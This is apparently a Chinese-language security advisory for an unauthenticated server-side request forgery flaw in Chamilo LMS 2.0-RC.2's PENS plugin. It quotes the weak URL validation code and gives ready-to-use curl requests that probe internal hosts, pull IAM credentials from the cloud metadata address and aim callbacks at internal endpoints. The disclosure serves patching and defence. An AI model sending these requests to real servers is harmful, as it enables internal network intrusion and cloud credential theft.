严重性:高(CVSS 8.6)
CWE:CWE-918(服务端请求伪造)
受影响版本:chamilo/chamilo-lms 2.0-RC.2
修复版本:2.0-RC.3
安全公告:GHSA-g2xj-4cch-j276
NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-34160
致谢:Romain Deperne
PENS(Package Exchange Notification Services,包交换通知服务)插件端点 public/plugin/Pens/pens.php 无需认证即可访问,并且接受用户控制的 URL,用于包下载和回调通知。URL 校验函数仅检查协议和主机是否存在,但没有进行任何私有 IP 过滤,从而允许未认证的 SSRF 攻击进入内部网络和云元数据服务。
在 CVE-2026-33715 之后,我审查了其他具有网络侧效应的未认证 Chamilo 端点。PENS 插件(public/plugin/Pens/)从外部 URL 获取包并向外部服务器发送回调,从而形成两个 SSRF 攻击面。
我阅读了 PensProcessor.php 以查找 URL 校验逻辑。isAllowedDownloadUrl() 和 isAllowedCallbackUrl() 都检查协议(http/https)和主机非空——然后就到此为止。没有 RFC 1918 过滤,没有回环地址检查,没有链路本地地址检查。注释甚至在主机检查后写着“returns true”,这明显表明这段代码在编写时并未考虑 SSRF 防护。
与之前的 Chamilo CVE 的区别在于:它包含两个独立的 SSRF 向量——一个用于包获取(服务器从攻击者控制的 URL 拉取文件),另一个用于回调(服务器向攻击者控制的端点发送 POST 请求)。回调向量对于窃取内部服务响应特别有用,因为服务器会将 PENS 状态数据 POST 到你指定的任意 URL,而你可以控制响应解析。
在云部署中,169.254.169.254 元数据端点可通过两个向量访问。
文件:public/plugin/Pens/lib/PensProcessor.php
两个不同的 SSRF 向量:
向量 1 — 包 URL 获取(第 376、138 行):
private function isAllowedDownloadUrl(string $url): bool
{
$parts = parse_url($url);
$scheme = strtolower((string) ($parts['scheme'] ?? ''));
if (!in_array($scheme, ['http', 'https'], true)) { return false; }
$host = strtolower((string) ($parts['host'] ?? ''));
if ('' === $host) { return false; }
return true; // ← no private IP check
}
// Then fetched with curl:
curl_setopt($curlHandle, CURLOPT_URL, $request->getPackageUrl());
$result = curl_exec($curlHandle);
向量 2 — 回调 SSRF(第 318 行):receipt 和 alerts 参数指定了服务器发送 POST 回调的 URL——同样缺少校验。
isAllowedDownloadUrl() 和 isAllowedCallbackUrl() 仅校验 URL 是否具有 http/https 协议以及非空主机名。RFC 1918 私有地址段(10.x、172.16.x、192.168.x)、回环地址(127.x)、链路本地地址(169.254.x——云元数据)以及 IPv6 等价地址均被接受。
# Vector 1: Probe internal network via package-url
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://192.168.1.1:80/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test-123" \
-d "client=test" \
-d "system-user=test"
# AWS metadata endpoint
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
# Vector 2: Callback SSRF — server POSTs to attacker-controlled internal endpoint
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://example.com/legit.zip" \
-d "receipt=http://10.0.0.50:8080/internal-endpoint" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
169.254.169.254 获取 IAM 凭证注意:此漏洞与 CVE-2022-27426(社交/链接工具中的 SSRF)不同——代码路径不同、插件不同、且无需身份验证。